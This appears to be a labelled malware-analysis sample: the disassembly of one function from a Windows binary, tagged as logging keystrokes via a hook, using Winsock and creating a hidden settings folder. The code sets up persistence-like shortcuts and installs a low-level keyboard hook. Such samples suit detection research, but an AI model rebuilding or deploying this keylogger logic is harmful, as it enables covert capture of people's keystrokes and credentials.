Function at 0x100010c4
Capabilities:
Create directory
Get common file path
Initialize winsock library
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.1000fa3f
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
push 0x80000002
push 0
push 1
push 0x80000301
push 0
push 0x400
push 2
mov ebx, 0x24
mov eax, 0x10018dc0
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
push 2
xor eax, eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000116c
push 6
call fcn.1000fa51
add esp, 4
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x28
mov eax, 0x10018e20
call fcn.1000fea0
add esp, 0x10
mov eax, 0x10027200
test eax, eax
je 0x100011a9
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.1000fa3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x10027f50]
test ebx, ebx
je 0x100011bd
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f50], eax
push 0x80000005
push 0
mov eax, dword [0x10027f50]
test eax, eax
jne 0x100011d8
mov eax, 0x10027258
push eax
push 1
mov ebx, 0x30
mov eax, 0x1001a819
call fcn.1000fea0
add esp, 0x10
mov dword [0x10027f54], eax
push 0x80000301
push 0
push dword [0x10027f54]
push 1
mov ebx, 0x90c
call fcn.1000ff40
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x40
push dword [0x10027f54]
call fcn.100023a8
mov dword [ebp - 0x24], eax
push 0x20
push dword [0x10027f54]
call fcn.100023b5
mov dword [ebp - 0x28], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x10001250
mov eax, 0x10027260
push eax
push 0x80000301
push 0
push dword [ebp - 0x24]
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x1000126e
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str._s:_d:_s
push 4
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x34
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100012a5
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x100012b5
push ebx
call fcn.1000fa45
add esp, 4
lea eax, [ebp - 0x2c]
push eax
call fcn.1000241a
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100012d1
push ebx
call fcn.1000fa45
add esp, 4
fild dword [ebp - 0x30]
fstp qword [ebp - 0x38]
push 0x80000601
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 1
mov ebx, 0x5c
call fcn.1000ff90
add esp, 0x10
push 0x80000601
push edx
push eax
push 1
mov ebx, 0x60
call fcn.10010020
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x104
push 1
mov ebx, 0x184
call fcn.10010040
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f58]
test ebx, ebx
je 0x10001348
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f58], eax
mov dword [ebp - 0x20], esp
push 0
push 0x23
push dword [0x10027f58]
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001382
push 6
call fcn.1000fa51
add esp, 4
push 0x80000004
push 0
mov eax, dword [0x10027f58]
test eax, eax
jne 0x10001397
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str._sLexicon
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f5c]
test ebx, ebx
je 0x100013d5
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f5c], eax
mov dword [ebp - 0x20], esp
push dword [0x10027f5c]
xor eax, eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001400
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x1000143c
mov dword [ebp - 0x20], esp
push 0
push dword [0x10027f5c]
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000143c
push 6
call fcn.1000fa51
add esp, 4
push 0x10027260
push dword [0x10027f58]
call fcn.10001000
add esp, 8
cmp eax, 0
je 0x100014b1
push 0x80000004
push 0
mov eax, dword [0x10027f5c]
test eax, eax
jne 0x1000146d
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str._sSetting.dt
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f60]
test ebx, ebx
je 0x100014ab
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f60], eax
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x100014c6
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x24c
call fcn.10010080
add esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100018bf
push 0x80000005
push 0
push 0x10027258
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x10001507
mov eax, 0x10027260
push eax
push 2
mov ebx, 0x26c
call fcn.10010090
add esp, 0x1c
push 0x80000004
push 0
mov eax, dword [0x10027f58]
test eax, eax
jne 0x1000152f
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str._sSetting.dt
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000156a
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10001581
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x24c
call fcn.10010080
add esp, 0x10
test eax, eax
je 0x10001729
push 0x80000004
push 0
push 0x10027260
push 0x80000004
push 0
push str.Group
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x100015d3
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8c8
call fcn.10010130
add esp, 0x34
mov dword [ebp - 0x20], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x100015fc
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str.Group
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x1000162a
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8cc
call fcn.100101d0
add esp, 0x34
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000164d
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
push 0x10027260
push 0x80000004
push 0
push str.Remark
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10001684
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8c8
call fcn.10010130
add esp, 0x34
mov dword [ebp - 0x20], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x100016ad
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str.Remark
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x100016db
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8cc
call fcn.100101d0
add esp, 0x34
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100016fe
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10001711
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x244
call fcn.100101f0
add esp, 0x10
jmp 0x100018bf
push 0x80000004
push 0
push str..Setting.dat
push 1
mov ebx, 0x24c
call fcn.10010080
add esp, 0x10
test eax, eax
je 0x100018bf
push 0x80000004
push 0
push 0x10027260
push 0x80000004
push 0
push str.Group
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
push str..Setting.dat
push 4
mov ebx, 0x8c8
call fcn.10010130
add esp, 0x34
mov dword [ebp - 0x20], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x100017a7
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str.Group
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x100017d5
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8cc
call fcn.100101d0
add esp, 0x34
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100017f8
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
push 0x10027260
push 0x80000004
push 0
push str.Remark
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
push str..Setting.dat
push 4
mov ebx, 0x8c8
call fcn.10010130
add esp, 0x34
mov dword [ebp - 0x20], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x10001850
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push str.Remark
push 0x80000004
push 0
push str.Setting
push 0x80000004
push 0
mov eax, dword [0x10027f60]
test eax, eax
jne 0x1000187e
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x8cc
call fcn.100101d0
add esp, 0x34
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100018a1
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000004
push 0
push str..Setting.dat
push 1
mov ebx, 0x244
call fcn.100101f0
add esp, 0x10
push 0x80000002
push 0
push 1
push 0x80000301
push 0
push 0x44
push 2
mov ebx, 0x24
mov eax, 0x10018dc0
call fcn.1000fea0
add esp, 0x1c
mov dword [0x10027f64], eax
mov dword [ebp - 0x20], esp
push dword [0x10027f64]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001918
push 6
call fcn.1000fa51
add esp, 4
fild dword [0x10027f64]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x100272a6]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10001ca8
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x90c
call fcn.1000ff40
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f68]
test ebx, ebx
je 0x10001992
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f68], eax
push 0x80000301
push 0
push 4
push 0x80000004
push 0
mov eax, dword [0x10027f68]
test eax, eax
jne 0x100019b9
mov eax, 0x10027260
push eax
push 2
mov ebx, 0x138
call fcn.10010210
add esp, 0x1c
mov dword [ebp - 0x20], eax
push 0x100272ae
push dword [ebp - 0x20]
call fcn.10001000
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100019fd
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp - 0x24], 0
je 0x10001b20
mov dword [ebp - 0x20], esp
push 0
xor eax, eax
call dword [sym.imp.ole32.dll_CoInitialize]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001a2b
push 6
call fcn.1000fa51
add esp, 4
push 0
push 0
push 0
push 0x80000004
push 0
push str.WScript.Shell
push 0x10030
push 0
push dword [ebp - 0x10]
push 3
mov ebx, 0x91c
call fcn.10010bd0
add esp, 0x28
push 0xa0000004
push 0
push 0x10027f68
push 0x80000004
push 0
push str.CreateShortcut
push 0x10030
push 0
push dword [ebp - 0x10]
push 3
mov ebx, 0x964
call fcn.100113e0
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 0x80000004
push 0
push str.TargetPath
push 0x10030
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x930
call fcn.10010de0
add esp, 0x28
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.10010db0
add esp, 0x10
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x10027f68]
test ebx, ebx
je 0x10001afb
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f68], eax
mov dword [ebp - 0x20], esp
xor eax, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001b20
push 6
call fcn.1000fa51
add esp, 4
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push 0x100272db
push 0x80000004
push 0
mov eax, dword [0x10027f68]
test eax, eax
jne 0x10001b53
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x14c
call fcn.10011520
add esp, 0x34
push 0x80000301
push 0
push eax
push 0x80000004
push 0
mov eax, dword [0x10027f68]
test eax, eax
jne 0x10001b83
mov eax, 0x10027260
push eax
push 2
mov ebx, 0x134
call fcn.10011640
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x10027f6c]
test ebx, ebx
je 0x10001bb0
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f6c], eax
mov dword [ebp - 0x20], esp
push dword [0x10027f6c]
xor eax, eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001bdb
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10001ca3
call fcn.100025be
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f68]
test ebx, ebx
je 0x10001c07
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f68], eax
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push 0x100272db
push 0x80000004
push 0
mov eax, dword [0x10027f68]
test eax, eax
jne 0x10001c40
mov eax, 0x10027260
push eax
push 4
mov ebx, 0x14c
call fcn.10011520
add esp, 0x34
push 0x80000301
push 0
push eax
push 0x80000004
push 0
mov eax, dword [0x10027f68]
test eax, eax
jne 0x10001c70
mov eax, 0x10027260
push eax
push 2
mov ebx, 0x134
call fcn.10011640
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x10027f6c]
test ebx, ebx
je 0x10001c9d
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f6c], eax
jmp 0x10001cff
call fcn.100025be
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f68]
test ebx, ebx
je 0x10001cc7
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f68], eax
push 0
mov ebx, 0x230
call fcn.10011690
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [0x10027f6c]
test ebx, ebx
je 0x10001cf9
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [0x10027f6c], eax
fild dword [0x10027f64]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x100272dd]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [0x10027f70], eax
push 0x80000004
push 0
mov eax, dword [0x10027f6c]
test eax, eax
jne 0x10001d50
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x22c
call fcn.100116e0
add esp, 0x10
cmp dword [0x10027f70], 0x8a
jne 0x10001d96
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x67c
call fcn.100116f0
add esp, 0x10
jmp 0x1000207b
cmp dword [0x10027f70], 0x17
jne 0x10001dfd
push 1
push 1
push 0x8a
call fcn.100027b6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10001dc9
jmp 0x10001df8
mov dword [ebp - 0x20], esp
push 0x3e8
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001df2
push 6
call fcn.1000fa51
add esp, 4
cmp dword [ebp - 0x14], 0
jne 0x10001da3
jmp 0x1000207b
cmp dword [0x10027f70], 0x16
jne 0x10001f9b
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0x64
jg 0x10001e30
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
call fcn.10003ef6
pop ecx
jmp 0x10001e0c
add esp, 4
push 0x80000301
push 0
push 0x16
push 0x80000004
push 0
mov eax, dword [0x10027f5c]
test eax, eax
jne 0x10001e54
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x100272e5
push 3
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x28
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 0
push 0x20
push 4
push 0
push 0
push 0xc0000000
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10001ebb
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10001ece
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [0x10027f74], eax
cmp dword [0x10027f74], 0xffffffff
jne 0x10001eed
push 0
call fcn.1000fa69
add esp, 4
cmp dword [0x10027f70], 0xfffc9bf2
je 0x10001f96
push 0
push 0
push 0x17
call fcn.100027b6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10001f23
jmp 0x10001f52
mov dword [ebp - 0x20], esp
push 0x3e8
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001f4c
push 6
call fcn.1000fa51
add esp, 4
cmp dword [ebp - 0x14], 0
jne 0x10001efd
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 0x12c
jg 0x10001f8e
mov dword [ebp - 0x20], esp
push 0x3e8
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10001f8b
push 6
call fcn.1000fa51
add esp, 4
pop ecx
jmp 0x10001f54
add esp, 4
jmp 0x10001eed
jmp 0x1000207b
mov eax, str.explorer.exe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
call fcn.100041d0
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10001fbf
push ebx
call fcn.1000fa45
add esp, 4
cmp dword [ebp - 0x24], 0
jne 0x10001fdd
cmp dword [0x10027f70], 0x16
je 0x10001fdd
mov eax, 1
jmp 0x10001fe2
mov eax, 0
test eax, eax
je 0x10002036
push 0
push 0
push 0x16
call fcn.100027b6
mov dword [ebp - 0x20], esp
push 0x3e8
push 0xffffffff
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10002027
push 6
call fcn.1000fa51
add esp, 4
push 0
call fcn.1000fa69
add esp, 4
jmp 0x1000207b
call fcn.10004665
test eax, eax
je 0x1000205a
cmp dword [0x10027f70], 0x8a
je 0x1000205a
mov eax, 1
jmp 0x1000205f
mov eax, 0
test eax, eax
je 0x1000207b
push 0
push 1
push 0x8a
call fcn.100027b6
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x67c
call fcn.100116f0
add esp, 0x10
push 0x80000301
push 0
push dword [ebp - 4]
push 0x80000004
push 0
mov eax, dword [0x10027f5c]
test eax, eax
jne 0x100020b8
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x100272e5
push 3
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x28
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 0
push 0x20
push 4
push 0
push 0
push 0xc0000000
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x1000211f
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10002132
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [0x10027f78], eax
cmp dword [0x10027f78], 0xffffffff
jne 0x10002151
push 0
call fcn.1000fa69
add esp, 4
push 0
mov ebx, 0x274
call fcn.10011700
add esp, 4
mov dword [0x10027f7c], eax
mov dword [ebp - 0x20], esp
push 0
push 0
push 0x1000e996
push 0xd
xor eax, eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000219b
push 6
call fcn.1000fa51
add esp, 4
mov dword [0x10027f80], eax
push 0x80000002
push 0
push 1
push 0x80000301
push 0
push 0x1f4
push 2
mov ebx, 0x24
mov eax, 0x10018dc0
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 0x18]
push dword [0x10027f58]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x100021fa
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esp
push dword [ebp - 0x1c]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1000221f
push 6
call fcn.1000fa51
add esp, 4
cmp dword [ebp - 0x1c], 0xffffffff
je 0x10002331
fild dword [ebp - 0x18]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fadd qword [0x100272f8]
fstp qword [ebp - 0x2c]
push 0x80000301
push 0
push 8
fld qword [ebp - 0x2c]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.10011750
add esp, 0x1c
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 4
push 0x80000005
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x10002291
mov eax, 0x10027258
push eax
push 3
mov ebx, 0x19c
call fcn.100118a0
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], ecx
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100022bd
push ebx
call fcn.1000fa45
add esp, 4
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
cmp ecx, 0x80000101
jne 0x100022d7
and eax, 0xff
xor edx, edx
jmp 0x10002326
cmp ecx, 0x80000201
jne 0x100022e3
cwde
cdq
jmp 0x10002326
cmp ecx, 0x80000301
jne 0x100022ee
cdq
jmp 0x10002326
cmp ecx, 0x80000401
je 0x10002326
mov dword [ebp - 0x44], eax
cmp ecx, 0x80000501
je 0x10002316
cmp ecx, 0x80000601
je 0x1000231b
push 2
call fcn.1000fa51
add esp, 4
fld dword [ebp - 0x44]
jmp 0x10002321
mov dword [ebp - 0x40], edx
fld qword [ebp - 0x44]
call fcn.1000109d
mov dword [0x10027f84], eax
mov dword [0x10027f88], edx
push 0x80000301
push 0
push dword [ebp - 0x18]
push 1
mov ebx, 0x28
mov eax, 0x10018e20
call fcn.1000fea0
add esp, 0x10
cmp dword [0x10027f70], 0x8a
jne 0x10002367
call fcn.10004814
mov eax, 0
jmp 0x10002371
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002382
push ebx
call fcn.1000fa45
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x924
call fcn.10010db0
add esp, 0x10
call fcn.1000fa45
add esp, 4
pop eax
leave
ret